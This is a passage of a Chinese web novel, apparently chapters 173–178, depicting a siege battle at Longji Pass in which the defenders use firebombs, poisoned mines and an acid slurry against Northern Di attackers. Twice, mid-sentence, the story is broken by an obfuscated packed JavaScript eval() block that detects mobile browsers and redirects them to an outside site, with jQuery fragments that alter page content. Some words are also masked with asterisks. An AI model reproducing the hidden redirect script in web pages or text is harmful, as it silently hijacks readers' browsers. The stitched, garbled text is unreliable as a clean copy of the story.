他们徒劳地在火海中翻滚、奔撞,试图扑灭身上的火焰, 但这蓝色的火焰如同附骨之疽,燃烧得异常猛烈且难以扑灭! 浓烈的烤肉焦糊味混杂着硝石燃烧的奇异气息,形成一股令人作呕又心悸的气息直冲天际! 冰与火! 死亡的交响! 光滑的冰面让狄卒无法站立,成了待宰的羔羊! 冰层在高温下不断爆裂、塌陷,将更多的狄兵拖入冰冷刺骨的河水深处,又在下一刻被火焰吞噬! 城头上,凉州守军将士们看得目瞪口呆,人人直呼爽快: “烧死这群狗娘养的!” “王上神威!王上万岁!” 而狄军阵营这边,阿古拉在后方帅旗下,眼睁睁看着自己士兵在冰火地狱中挣扎哀嚎,化为焦炭…… 他脸上的肌肉剧烈地抽搐着,眼睛赤红如血,本就空洞的眼眶,喷出一道血液! “啊!” 他捂着眼睛,气急攻心,扬天一声大叫,摔下了马背。 “大将军!” “撤!鸣金!收兵!” 鸣金声在狄军后阵响起,如同丧钟。 残余的狄军如同潮水般狼狈后退,丢下满地焦黑的尸体,以及无数在冰火中哀嚎挣扎的同袍。 来时那不可一世的黑色狂潮,此刻只剩下满目疮痍与深入骨髓的恐惧。 “凉王……会巫术啊!” …… 龙脊关城头,陆云川依旧静立如初。 “徐先生,这‘寒渊凝冰露’遇火即燃,温度极高,附着性强,后续需改进储存与投放方式,避免误伤。” 他微微偏头,冲身旁的徐三通说道。 徐三通是匠作堂的几大发明家之一,这“冰火两重天”的火器,便是出自于他手。 此次随陆云川出征龙脊关,也是为了试验与改良这些火器。 “王上说的是,我这便记录。” 徐三通眼中闪烁着狂热的光芒,立刻掏出随身的小本和炭笔,飞快记录起来。 而后,城门缓缓打开。 被驱赶的万民,幸存了三千余人。 “呜呜呜……” 七八岁的女童,坐在尸堆中,对着河面抹泪痛哭。 陆云川走过去,将女童抱在了怀中,没有多余的安慰,只让她在怀中哭泣。 凉王深邃的目光,再次投向远方撤退的狄军,阿古拉的破旗在风中狂乱地舞动,如同败犬的哀嚎。 “北狄,这笔血债,本王会让你们万倍赔偿……” 这不是在放狠话,而是在陈述一个不容置疑的事实。 “幸存者中可战之人,编入守军;其余人安置在龙脊关后县城; 打捞百姓尸体,家属认领后安葬,至于那些狄军尸体,削其首级,挂在关墙之上,本王要听琳琅声响。” “是!” …… 傍晚时分。 关后帅帐内,灯火通明。 陆云川专门让人制作了一个龙脊关方圆五十里地势的“沙盘”。 沙盘要比地图更立体,更直观。 上面清晰地标注着龙脊关地形,狄军大营位置以及可能的进攻路线。 此刻,陆云川与帐下几位骨干正围着沙盘低声讨论。 “阿古拉,绝非庸才。”陆云川头一句便道。 如果周大彪在帐下的话,一定会骂,“他算个屁啊!” 但眼下的沈风,宋康,赵猛,都是心思细腻的军官。 没人会觉得阿古拉是庸才,单凭他吃掉了自己的眼睛,就绝对是一块硬骨头。 “今日狄军虽折了前锋,损了些锐气,但主力未动,元气未伤。以此人的性子,绝不会就此罢休。” 陆云川抬起眼,目光扫过众人,“传令下去,今夜全军戒备等级提至最高; 所有轮休将士,甲不离身,刃不离手;城头各处,双倍岗哨,暗哨潜伏至护城河外百丈。” “是!” 众人齐声应诺,神色更加肃然。 “王上!” 一名斥候走进帅帐,面带忧色,“据千目堂的探子回报,狄军后撤时虽显混乱,但中军大营秩序井然,阿古拉的狼旗一直未倒,而且……他们似乎在大量收集沙土。” “沙土?” 陆云川眯了眯眼睛,这阿古拉果然不是庸才,竟懂得用沙土来覆盖“硝石冰河”,看来他这是在为下一次进攻做准备了。 他沉思了片刻,看徐三通,“徐先生,‘雷火弹’都布置好了么?” “王上放心,打扫战场时,我便已名人在可能攀爬的城墙死角秘密布设,我亲自监督的,十分隐蔽,非常刁钻。”徐三通自信道。 “很好。” 这“雷火弹”其性质便是“触发型地雷”,由黑火药改良而来,专门防备敌军偷渡夜袭。 那么,狄军,今夜会不会来呢? …… 此刻,狄军大帐。 “哼!” 阿古拉一拳锤在案桌上,“凉王小儿,坏了我一只眼,还使妖术损了我兵卒,可恨至极!” 被纱布包裹的独眼,与抽搐的脸皮,让他的表情愈加狰狞。 “大帅有铁令,三日之内必需攻破龙脊关,可眼下凉王小儿身居高墙之内闭关不出,尔等可有什么破关妙计?” 阿古拉独眼扫视着帐下,三十余名幕僚与武将。 “大将军,贫僧,倒有一计。” 一个裹着僧袍,头顶鸡冠帽的老喇嘛,双手合十走出队列。 第一百七十四章 雷火弹! “哦?乌巢法师,有何妙计,快快说来!” “将军,门外汉会觉得那凉王用的是巫术,但对于真正的智者而言,不过是将街头变戏法儿的小把戏用到军事上罢了。” 乌巢语气平凡,语气深处却藏着自命不凡的傲慢,“真正的智者”,大概率就是他在夸自己。 “贫僧早年游历天下时,见过太多这样的戏法,利用硝石制冰的原理冻结河面……呵,不过如此,不足为怪。” 乌巢冷笑道:“将军反过来思考,他制造出一条冰河,岂非给了我们铺了一条路?连搭建浮桥的功夫都省去了; 以沙土碎石覆盖冰面,方可安稳过河啊。” “可是……” 阿古拉迟疑,“闻言凉王有一手火器,只要爆开便威力无比,他在上,我军在下,万一冰河被炸开,我军岂不全会捆于沟渠之中?” “实不相瞒将军,大帅此次派我来辅佐您攻关,就是为了获取凉王手中的火器! 依贫僧之见,那也不是什么稀奇的东西,充其量就是一种丹火之术,只不过凉王有独家配方而已。” 乌巢慈眉善目的脸上,眼神却是阴邪无比,压低声音又道: “将军可派遣一支死士小队,背泥沙碎石铺路,暗中渡过护关渠,再配合贫僧发明的磷火箭……” “不愧是‘天星寺’的得道高僧啊!” 阿古拉听完大赞。 “好,今夜便依法师之计,明日入龙脊关,摆庆功酒!” …… 夜。 漆黑的夜。 如同浓稠的墨汁,彻底淹没了大地。 龙脊关城内外,陷入一片死寂。 寒风依旧不知疲倦地呼啸着,卷起城下焦土上的灰烬,发出呜咽般的声响。 城头上,火把的光芒在风中摇曳,将守军士兵警惕的身影拉得忽长忽短。 三更时分。 万籁俱寂,连风声似乎都小了许多。 突然! “咻!咻咻咻!” 尖锐凄厉的破空声毫无征兆地撕裂了夜的宁静。 不是箭矢,而是特制的,带着凄厉哨音的鸣镝火箭! 数十支火箭从关外漆黑的夜幕中骤然升起,拖着长长的莹绿色尾焰,如同地狱鬼火般,精准地射向龙脊关城头各处! “敌袭!” “当当当……” 凄厉的警哨声瞬间在城头各处炸响,守军士兵猛地惊醒,迅速扑向各自的战位! 然而,这火箭并非为了杀伤—— “噗!噗!噗!” 火箭扎在城楼、垛口、旗帜上,箭头包裹的油布瞬间爆燃。 火焰并非寻常的橙红,而是一种诡异的、莹绿色的磷火! 磷火跳跃燃烧,散发出刺鼻的恶臭和浓烈的烟雾,瞬间将城头多处关键位置笼罩在一片惨绿而朦胧的毒雾之中。 夜色本就漆黑,再加上突如其来的烟幕,视线被严重干扰。 “是磷火!快!掩住口鼻!” 负责值夜的宋康大喊。 “咳咳咳……” 守军视线受阻,被浓烟呛得咳嗽声一片,阵脚微乱。 这时,关墙外那片被烧焦的土地上,如同鬼魅般,悄无声息地涌出了无数黑影! 没有战鼓,没有呐喊,只有铁甲摩擦的细微“嚓嚓”声和急促压抑的呼吸声。 莫约五六百名狄军死士,人人身披深色皮甲,脸上涂抹着黑灰,手中紧握利于攀爬的短刀,腰间飞爪和一面面厚实的蒙皮木盾。 他们分成数十股,利用焦土沟壑与夜色的掩护,洒土铺碎石,朝龙脊关城墙根迅速靠近。 专挑城墙死角,与相对低矮的角楼! “乱箭齐发!” 宋康大声发令。 “嗖嗖嗖……” 城墙稀稀拉拉的火箭射下,但在磷火浓烟实在太遮人眼球,杀伤效果甚微! 火箭被狄军死士用盾牌格挡,只有少数中箭者闷哼倒地。 片刻间,已有上百名死士摸索到墙角! “先登者,封将军!” “上!快上!” 狄军阵中低沉的命令声响起。 几十只飞爪被射上墙壕,数十道黑影借着飞爪之力,如同猿猴般开始向上攀爬,动作迅捷而无声。 更有悍不畏死者,直接用短刀插入城墙砖缝,手脚并用向上猛蹿! 眼看狄军死士即将攀上垛口,然而就在这千钧一发之际—— “轰隆!” “轰!轰轰轰!!!” 一连串沉闷却极具穿透力的爆炸声,毫无征兆地在城角根下,狄军死士最密集的区域猛烈炸响! 并非城头抛下的炸药罐! 而是来自地面的“雷火弹”! 徐三通早已命人将那些形似陶罐、内填火药与铁蒺藜,用淬毒铜丝绊索的“雷火弹”,巧妙地埋设在墙角与沟渠岸边的土地裂缝中。 狄军死士只知道疯狂突进,却忽略了脚下早已埋藏着致命陷阱。 牵一发而动全身! 火光在城墙根下接连迸发,爆炸的冲击力并不算惊天动地,但胜在突然,密集,且杀伤方式极其歹毒! 飞溅的不是弹片,而是无数淬了剧毒,生锈的铁蒺藜! 散开的铁蒺藜,犹如暴雨梨花,瞬间覆盖了方圆数丈的区域! “啊!” “我的眼睛!” 惨叫声此起彼伏! 攀爬中的狄军死士纷纷坠落! 被铁蒺藜扫中,裸露的皮肤瞬间变得乌黑肿胀,剧痛钻心! 落地未死的,也被后续爆炸的气浪掀飞,撞在城墙之上,骨断筋折! 哪怕再幸运,只要被生锈的铁蒺藜割伤,破伤风也会要了他们的命! 惨叫声,爆炸声,铁砂破空声混杂在一起,原本有序的偷袭阵型被炸得七零八落,死伤狼藉! “炸得好!炸死这群摸黑的耗子!” “金汁沥青伺候!” 这时,烟幕消散得差不多,城头守军也终于稳住了阵脚。 狄军死士,暴露无遗! 滚木,礌石,金汁,沥青,劈头盖脸往下砸。 “啊!烫!烫死我了!” “呕!” 滚烫的恶臭液体浇在皮肉上,瞬间烫起巨大的水泡,皮开肉绽。 混合着剧毒的粪水渗入伤口,更是带来钻心蚀骨的剧痛。 城根下的惨叫声更加凄厉,如同群鬼哀嚎。 狄军这场精心策划的夜袭,在雷火弹的致命陷阱和与守军的猛烈反击下,彻底变成了一场单方面的屠杀! 第一百七十五章 龙脊关大决战! 狄军后方,阿古拉与乌巢立于高坡之上,坡下是整装列队的铁林军。 本来…… 死士若能先登关墙,铁林军再趁机压上,一举攻破龙脊关。 可是…… 精心安排的计划,精心挑选的死士,连城墙都没摸到几块砖,便已死伤惨重,溃不成军! 两人的脸色难看到了极点。 特别是乌巢,当初在帐内有多大言不惭,如今脸上就有多疼! “没想到凉军竟有如此火器,是贫僧小瞧了他们……” “鸣金!收兵……” 阿古拉几乎是从牙缝里挤出这几个字,声音嘶哑,带着难以遏制的愤怒和一丝……不易察觉的惊悸。 他扭头瞪了一眼乌巢,猛地一甩马鞭,轻哼了一声,转身走下山坡,背影在夜色中显得无比阴沉。 “传令,决战。” “是!” …… 龙脊关。 蛮军在留下两三百具尸体后,带着一切声响遁入黑暗。 硝烟还在弥漫,火光还有余晖。 陆云川负手站在墙边,俯瞰着墙下的杰作,脸上平静淡漠,徐三通垂手侍立在一旁。 “雷火弹……蛮不错,但是,” 他转过身,对徐三道:“绊发装置灵敏度需提升,部分未触发,铁蒺藜淬毒效果显著,但需考虑风向影响及战后清理隐患, 对方的磷火箭干扰性强,需研制针对性防毒面罩或快速灭火药剂。” “王上观察仔细,下官会着重改良。” 徐三通掏出小本记录。 陆云川上前一步,用手指轻轻摩挲着墙体上遗留的磷粉,“对面竟然会用磷粉制造烟雾弹……看来狄军阵营中也有火器行家。” “北狄敢建朝称帝,并非没有底气的,他们是半游牧民族,制铁,药材,矿产,都不输中原王朝。” 徐三通顿了顿,又道:“据说北狄王庭之下,还下辖着一处‘天星寺’,与大昭禁军中的‘神机营’一样,有很多奇人异士; 王上的黑火药虽史无前例,但随着名气越来越大,应当小心配方泄露。” 这一点陆云川早有考虑,黑火药这种东西,说复杂却也复杂不到哪儿去。 以古人的智慧,将它复刻出来也不奇怪。 所以他才会大力支持匠作堂搞发明。 死士不需要领先太多,永远能快敌人一步即可。 “夜袭不成,阿古拉必不甘心。” 陆云川缓缓道,“传令下去,明日拂晓前,所有将士,填饱肚子,真正的硬仗……快要来了。” 就好比之前在良子关,只要敌人主力没被打崩,迟早会发动一场大规模决战。 任何战争打到最后,都将以最古老的方式一决胜负。 渐渐。 黎明的曙光重现。 晨曦艰难地撕破着灰色云层,却无法驱散龙脊关城内外弥漫的血腥与肃杀。 昨晚夜袭的残骸还散发着焦糊与恶臭,城墙根下的惨状在昏暗的光线下愈发狰狞。 但无论是守军还是狄人,都没有时间也没有心思去清理这片浸透鲜血的土地。 一夜的沉寂是假象,就好比暴风雨来临前,总是异常宁静的。 龙脊关城头,陆云川换上了鎏金甲胄,腰挎一把金刀,立于中央望楼。 这将是一场很纯粹的防御战,打赢了便能好好地度过这个寒冬,打输了…… 嗤! 本王怎么能会输? “报!” “北狄大军已出营!” “全军列阵!” 弓箭,石机,重弩,各类器械,各种士卒,里三层,外三层,片刻间各就各位,调度完成。 “呜!呜!呜——” 低沉厚重的咆哮般的号角声,毫无征兆地从狄营深处拔地而起,瞬间通达了整个战场。 号声苍凉肃杀,带着一种决绝的意志,压过了风声,直冲云霄。 紧接着战鼓如同沉雷般滚动开来,“咚!咚!咚……”每一次鼓点都敲在人心之上,震得脚下大地似乎都在微微颤抖, 狄营寨门轰然洞开,黑甲洪流从各寨门疯狂涌出——狄军中最精锐,最悍勇的铁林军! 他们列成数个巨大的,如同移动堡垒般的方阵,每一面巨盾都由实木,铁片,牛皮三层相铸而成,坚硬程度足以抵挡重弩射击。 在主力方阵后方,更多单兵如同蚁群般涌动,推着加固的冲车,投石机,尖头木驴,扛着数百架简易的云梯。 阿古拉拿出了所有的力量,要用最原始,最暴力的盾阵硬碰硬战术,堆死龙脊关! 城头守军,哪怕是一些老卒,面对这黑云压城的恐怖攻势,呼吸也骤然变得粗重。 谁都预料得到,接下来将会是一场天昏地暗的死战。 “稳住,稳住!” “盾阵前进,重弩手上弦,火龙弹,震天雷准备……” 狄军的盾阵已经进入两百步。 就在这时! “放!” 龙脊关城头,随着令旗猛然挥下! “嘭!” 无数弓弦震动嗡鸣,密集如蝗的箭矢腾空而起,划过一道死亡的弧线,狠狠地砸向缓慢移动的盾阵! “叮叮当当……” 大部分箭矢都被厚重的蒙皮大盾弹开,或者深深地钉入盾牌。 却也有不少刁钻的箭矢从盾阵的缝隙中钻入,炸出一连串“血雾莲花”,死伤只能以个位数计算。 整个庞大的狄军盾阵,仅仅像是被蚊虫叮咬了几口,前进的步伐几乎没有丝毫停滞。 受伤的士卒被迅速拖到阵后,新的士兵面无表情地顶替上来。 “哈哈,凉狗的箭阵也不过如此——” 拦截住箭雨的狄军先锋,刚洋洋得意不过片刻,劈头盖脸的火龙弹与震天雷接踵而至。 不同于弩箭,它们的杀伤力更强,破坏力更大! “轰隆隆!” 火光冲天蔓延,铁蒺藜肆意飞舞,如死神的镰刀,在狄军阵中迅速收割。 “啊!啊!!” 惨叫声此起彼伏! “重弩,投石机,火磷弹!给我压制住城头!” 狄军阵中迅速推出床弩与投石机,将罐装的火油与火磷,以及巨石狠狠砸向龙脊关! 火磷燃烧,浓烟滚滚,瞬息之间,一朵巨大的烟幕云,笼罩在龙脊关之上! 守军开始出现伤亡! “盾阵掩护,攻城车!” “冲!” “铁林军,渡河破关!” “杀啊!” 铁甲如潮水般覆盖大地,向龙脊关墙下迅速蔓延。 最血腥的拉锯鏖战即将开始! 第一百七十六章 地动关摇,天惊石破! 狄军利用磷火制造的烟幕,全军加速押上。 攻城车放出浮桥,盾兵在前方开路,排头兵刀斧手扛着云梯,推着冲车向城门发起冲锋。 滚木礌石从城头轰然滚落! 巨大的原木带着万钧之势砸在盾阵上,发出沉闷如鼓的巨响! 能将人砸成肉饼的冲击力,在多层加固的重盾面前,竟也未能撕开大的缺口! 碎裂的木屑纷飞,巨大的滚木顺着盾面滑落,反而将后面躲闪不及的狄兵撞倒一片,引发一阵小小的混乱。 但铁盾阵型主体依然顽强地重组、推进! “火油!沥青!酒精!给我狠狠地泼! 滚烫的黑色火油如同瀑布般倾泻而下,泼洒在巨大的木盾和盾下的士卒身上! 立刻有士兵被烫得皮开肉绽,发出非人的惨嚎! 火箭接踵而至! “轰!呼! 火焰瞬间升腾!点燃了盾牌上的油脂! 然而却出乎意料! 预想中盾阵大面积燃烧崩溃的场景并未出现! 狄军盾阵士兵竟早有准备, 阵后的士兵捧着大量沙土,或直接抓起地上的泥土焦渣往着火的同伴身上扑盖! 火焰被迅速压制,虽烧得一些盾牌焦黑变形,烧伤了不少士兵,但整个庞大军阵顶着烈焰的灼烧和伤者的哀嚎,依旧在缓慢、坚定地向前推进! 焚身的痛苦,已让每个人都失去理智! “啊啊啊…… “杀啊!杀杀杀啊! “疯了!都他娘疯了! 是啊,谁都打疯了,这种生死一瞬间的战场,谁不疯,谁不爆发极限,谁就得死! “撞! “咚!咚!咚! 狄军推着冲车,重重撞着城门! 瓮城中,赵猛与黑甲军团已磨砺好刀锋,随时准备迎接与狄军的肉搏。 陆云川皱着眉头伫立在望楼中央。 狄军的悍勇远超预料,盾阵的坚固也超出了雷火弹的隐蔽攻击范围,火油与沥青对多层重盾效果十分有限…… “徐先生,‘融骨浆’带来了多少? “融骨浆是匠作堂在沥青的基础上,加注强酸、以及腐骨草毒汁所炼,见水更烈,能腐蚀钢铁,蚀骨烂肉。 但此物剧毒! 风若大了,毒雾扩散,攻城者亡,守城者自损! “回禀王上,只带了五大坛……但是,此毒浆—— “非常之时,用非常手段。 陆云川的语气毫无波澜“全部运上来命人准备大量生石灰; 重点浇泼盾阵连接处及推进最快的云梯车、尖头木驴顶部泼完浆立刻洒生石灰; 若有毒雾生成戴面罩预防……哼 “明白!” 徐三通扭头下去准备。 而另一边狄军阵后。 阿古拉与乌巢法师并列阵后眺望着前线的战场。 “没想到……一个土匪割据的政权竟有如此防御力……” 阿古拉由衷感叹一座小小的龙脊关比长安城都还难打“皇帝陛下想要统一西北怕是……不太容易了。” “大将军何必长他人志气灭自己威风啊?” 乌巢却是一脸清高傲慢作为一个出家人他本该悲怜生灵可望着远方血腥的攻防战他甚至还流露出了些许嗜血的兴奋。 “我看凉国也不过如此他那些火器在我天星寺特质的防火大盾与众无畏勇士面前已经捉襟见肘了……” “多亏有乌巢法师啊……” “呵这个便叫做强中自有强中手一山还比一山高!” 乌巢脸上更傲嗜血舔了舔嘴唇心中已盘算着破关后如何收缴火器了。 但事实真会如此么? 龙脊关墙上。 五口散发着浓烈刺鼻气味冒着丝丝诡异黄烟的巨大陶瓮被小心翼翼地抬上城头。 旁边备好了一筐筐生石灰粉特殊的长柄舀勺与大型喷筒分发到位! “融骨浆!准备!” 随着徐三通一声尖利的命令! 沉重的陶瓮被撬开! 一股难以形容的、混合着浓烈酸味、刺鼻的硫磺味和腐尸般恶臭的怪味瞬间弥漫开来! 瓮中是粘稠得如同沥青、却又呈现出极其污浊诡异黄褐色的液体表面甚至还在不断冒出腐蚀性的气泡! “泼!” “噗! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001683|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 噗!噗!” 不同于之前倾泻的火油瀑布这一次是更加精准的、极其粘稠恶心的“毒浆”! 如同泼粪一般粗大的浆柱和扇形毒雾猛地泼向下方狄军大阵最前方的连接处! 尤其是那几辆加固过的巨大冲车与云梯顶端! “嗤!” “啊!” 粘稠的浆液一接触人体或盾牌瞬间腾起大片浓烈的、发出“滋滋”怪响的黄绿色烟雾。 坚固的多层牛皮大盾以肉眼可见 的速度开始发黑、变软、凹陷! 被直接泼中的士兵,连惨叫都没发出一声完整的,裸露的皮肤瞬间起泡、焦黑、冒烟! 那粘稠的黄褐色毒液一旦沾上,就如同附骨之疽,剧烈腐蚀! 盾牌在融化! 皮甲在溃烂! 血肉在消蚀! 尤其那几辆冲车和云梯的顶部,木质结构冒起浓烟,发出刺耳的腐蚀声,竟以惊人的速度开始软化、塌陷! 生石灰粉!紧随其后! 白色的粉末如同雪暴般洒落,瞬间覆盖了大片区域! 生石灰本身灼热刺鼻!遇浆水,汗液,立刻产生剧烈放热反应! 被毒浆侵蚀、血肉模糊的伤口上,再被滚烫的生石灰覆盖灼烧! 双重叠加! 剧烈的化学灼烧混合着强酸剧毒,瞬间将伤处烧成一片焦黑模糊,甚至露出森森白骨! 那些刚才还在顶住火焰推进的悍勇狄兵,此刻爆发着凄厉绝望到极点的惨嚎! 如同坠入了地狱熔炉子痛苦地翻滚,瞬间失去了所有战斗力! 整个盾阵连接处和器械尖端,瞬间被腐蚀和烈焰吞噬,如同巨兽被砍掉了关节! 刚刚还坚不可摧的盾阵,出现了难以弥合的巨大裂口和一片混乱的死亡区域! “盾阵已破!” “火龙弹!震天雷!放!” 找到缺口,扩大缺口,完成毁灭! 生死攸关的攻防战,守军不留余力,将墙垛后的火器**一股脑全扔了下去! “轰隆隆!!!” 浓烟滔天,血肉横飞! 地动关摇,天惊石破! 第一百七十七章 战马狂飙! “邪术!这是邪术!” “魔鬼!他们是魔鬼!” “退啊!快退!” 狄军后方,阵型松动,惊惧的叫喊声蔓延开来! 这种完全超越认知、直接腐蚀钢铁血肉的恐怖毒物,瞬间摧毁了他们的斗志! 那坚不可摧的推进意志,终于被硬生生地打崩溃,开始大范围地溃退! “不许退!给我继续攻城!” 狄军先锋大声呼喊,监军卫队**了几名企图撤退的逃兵。 “谁敢后退,便是此下场!” “今日,要么攻破龙脊关!要么死于城下!” “给我冲!” 拿命去堆,都要堆出一条血路! “钱无命。” 陆云川冲身旁的钱无命使了个眼色。 射人先射马,擒贼先擒王! 只要干掉狄军核心,攻势自然土崩瓦解! 钱无命会意,但这次他并没有单杀,而是大手一挥,五十名体膀腰圆的重弓手并排而出—— 这些人都是“穿甲军团”中精挑细选的神射手,至少都可开一石硬弓! 钱无命冷酷的目光,越过混乱的前方盾阵,精准地锁定了后方督战鼓处,一面醒目的苍狼旗下,那个正在咆哮着试图重整队列的狄军将领! “目标,敌将,敌旗!” “预备!” 神射手重弓搭铁箭,全部拉如满月,崩得弓弦“砰砰”作响。 “放!” 铁箭撕裂空气,拖着凄厉的啸音,从战场上呼啸而过。 “崩!” 北狄战旗被其中一支带火箭精准命中,大旗瞬间燃烧! “啊!” 指挥作战的狄军先锋被数十只铁箭穿透胸膛,从督战车上惨叫坠落。 前有毒浆焚身的诡异恐怖,后有帅旗倾倒,主将斩首的噩耗! 原本就已跌落的士气,在这一刻彻底瓦解! “败了!败了!” “将军**!快跑啊!” 惊天的哭喊嚎叫取代了战鼓呐喊! 狄军如蒙大赦,又似惊弓之鸟,彻底丧失了任何进攻的勇气! 前面的人发疯般向后逃窜,后面的人还没搞清楚状况就被裹挟着崩溃! 整个庞大的攻城集群,如同被敲断了脊梁的野狼群,开始了疯狂践踏式的溃退! 无数人丢盔弃甲,自相踩踏,将伤兵碾入泥泞! 龙脊关城头,瞬间爆发出山崩海啸般的怒吼: “ 狄狗!滚出龙脊关!” “滚出!!龙脊关!!!” 望楼之上,陆云川的目光依旧淡漠,望着城下那如同蚂蚁般溃散奔逃的狄兵洪流,他缓缓抬手招呼: “狄军军心已散,我军士气大盛,传本王命令,打开关门,追击歼灭!” “得令!” “王上有令!打开城门!全军出击!” 刹时,龙脊关城门轰然洞开! 铁蹄如雷,踏着敌人的尸骸与恐惧,如同决堤的怒涛,朝着崩溃的狄军狠狠碾压而去! 真正的风暴,才刚刚展开獠牙! “凉州儿郎,随我杀敌! 宋康一马当先,声如炸雷,瞬间点燃了身后三千豹骑的滔天战意! “杀啊!” “杀光狄狗!” 三千铁骑如同决堤的钢铁洪流,裹挟着压抑已久的狂怒与复仇的烈焰,咆哮冲出城门! 铁蹄践踏着昨夜焦黑的土地,发出沉闷而令人心悸的轰鸣! 铁蹄过处,烟尘滚滚,杀气冲天! 溃退的狄军早已丧胆! 如同被驱赶的羊群,只恨爹娘少生了两条腿! 哭嚎,推搡,践踏,丢盔弃甲,拼命向后奔逃! 宋康率领的豹骑,如同一柄锋利尖刀,狠狠捅进这盘“散沙”之中! “挡我者死!” 一点寒芒先到,随后枪出如龙! 钢枪横扫,十几名狄兵如同破麻袋般被扫飞,骨断筋折。 身后赵猛所率领的黑甲步兵,更是如狼似虎,刀斧挥砍,破甲开膛! 一场毫无悬念的追杀!一场复仇的盛宴! 凉军席卷之处,如狂风扫过麦田,狄军溃兵成片倒下,残肢断臂横飞,鲜血瞬间染红了焦黑的土地! 惨叫声、求饶声、战马的嘶鸣声、兵器的碰撞声,汇成一曲残酷的交响! 激荡混乱的战场,被豹骑迅速分割! “随我直捣中军,取阿古拉狗头!” 宋康狂吼,双腿猛夹马腹速度再增,身后的豹骑也齐声呐喊,紧紧跟随。 形如一道黑色的闪电,朝狄旗所在的方向狂飙突进! 狄军阵后。 阿古拉脸色铁青! 二十万大军,竟被几千轻骑追得丢盔弃甲! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001684|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耻辱!前所未有的耻辱! “大将军,凉军气盛,我方气衰,当鸣金收兵——” “废物!” 阿古拉骂声呵断乌巢,“我仍有十余万可战之兵,有何惧怕 !凉狗出关得好!就来一场平原决战!” “将军!不可啊,我军攻城已疲乏——” “闭嘴!谁若敢未战先怯,先斩人头!” 阿古拉心中何尝不知狄军气衰,只是她更明白,不能再退了!再退,军心彻底崩溃,二十万大军将化为乌有! 这场战斗,只能继续! “金狼卫兵!随本将军迎敌!斩下敌将人头者,赏万金,封千户!” 阿古拉翻身上马,拔出鞍上的开天巨斧,主帅带头冲锋,或可挽回颓败之势! 他带着身边最精锐的,身披华丽重甲,手持弯刀长矛的千余亲卫“金狼骑”,逆着撤退之流,迎上狂飙而来的黑甲狂潮! 乌巢咬了咬牙,长叹一口气,“阿弥陀佛……将军不听贫僧劝阻,终将大败于此啊!” “师傅,那我们该何去何从?”一旁的年轻**开口问道。 乌巢扫了一眼势不可当的凉军,毅然决然:“走!我们快走!只要渡过渭河,便可安然无恙!” 继而挑了几匹快马,带着几个**徒弟,头也不回往后奔逃。 战场这边—— 两股钢铁洪流,在开阔的焦土上,轰然对撞! 如同两座移动的山岳狠狠撞击在一起,震耳欲聋的巨响瞬间压过了战场上所有的喧嚣! 人仰马翻!血肉横飞! 宋康**横扫千军,一刺挑起一名金狼骑的弯刀,顺势将其连人带马砸得横飞出去。 但他也被数柄长矛同时刺中,锃亮的玄甲发出刺耳的摩擦声,火星四溅,巨大的冲击力让他身形一晃! “掩护将军!” 副将黄涛领百余豹骑兵冲进敌阵,阔刀长矛撂翻了一大片! “呯呯嘭嘭……” 骑兵对垒到最后,不知是冥冥中,还是天注定,双方军阵各撇出一条血路。 王对王,将面将! 宋康手中**一震,抖去枪头的血渍! 阿古拉也将斧刃血渍在马鬃上擦了擦! 双方战马刨蹄! 逢敌必亮剑,战场相逢,勇者胜! “驾!!!” “喝!!!” 第一百七十八章 天纵将军?也不过如此 “铛!铛!铛!” 两将对垒,金铁交鸣! 阿古拉的巨斧将宋康的**死死架住,巨大的力量震得连马都忍不住屈膝! 宋康震喝,全力**往上一挑,将阿古拉往后震退,策马暂时拉开身位! 双方都未曾停歇,再次掉转马头,进行新一轮的交锋! 主将在酣战,士兵们也杀得火热,刀刀见血,拳拳到肉! 混战到最后,哪还有什么阵型?撸起袖子在地上缠斗,用拳砸,用头撞,用嘴咬,你不起!我就得死! “杀啊!” 赵猛带着黑甲军团杀入战场。 本就已崩溃的狄军,更加失去了抵抗力,没几轮**,便东奔西逃,卸甲投降。 唯有阿古拉的近卫骑兵还在死扛。 但大势已去,再挣扎也是徒劳。 宋康与阿古拉大战一百回合过后,宋康被巨斧震得虎口发麻,阿古拉的大腿也被一**中血流不止。 战斗似乎已接近尾声。 阿古拉只剩下最后五十名金狼骑,被凉军团团包围。 “天纵将军?” 包围圈突然分开一条道,陆云川骑着一匹马,带着王者傲姿走至阵前,居高临下睥睨着阿古拉,“却也不过如此。” “凉王小儿,狄朝的脚步,绝不会因这一场败仗而停止,我狄朝——” “北狄就是北狄,称什么朝廷?” 陆云川冷声打断,“本王尚且不敢称帝,尔等一介粗鄙鞑奴,何等何能?” 阿古拉咬了咬牙,握紧手中的巨斧,振臂高呼:“金狼卫!随我冲锋!取凉王首级!” “冲啊!” 最后的骑兵,最后的冲锋。 陆云川面无表情,只是微微抬手。 上千把**同时上膛。 “放。” 一声平淡命令。 “嗖嗖嗖……” 万箭齐发,破空袭去! 瞬息之间,阿古拉等骑兵便被淹没在箭雨之中,无一例外,全部都被射成了刺猬。 陆云川扫了一眼灰蒙蒙的前方战场。 再往前进兵便是渭水,过了渭水还有三重大关, 眼下已经入冬,再不久便要大雪封路,不适合远征进兵。 今日斩将获胜,挫败北狄的西进,已经达到了战略目的。 “继续追击清剿流兵,但记住,以渭水为界,不要轻易逾越。” “是!” …… “王 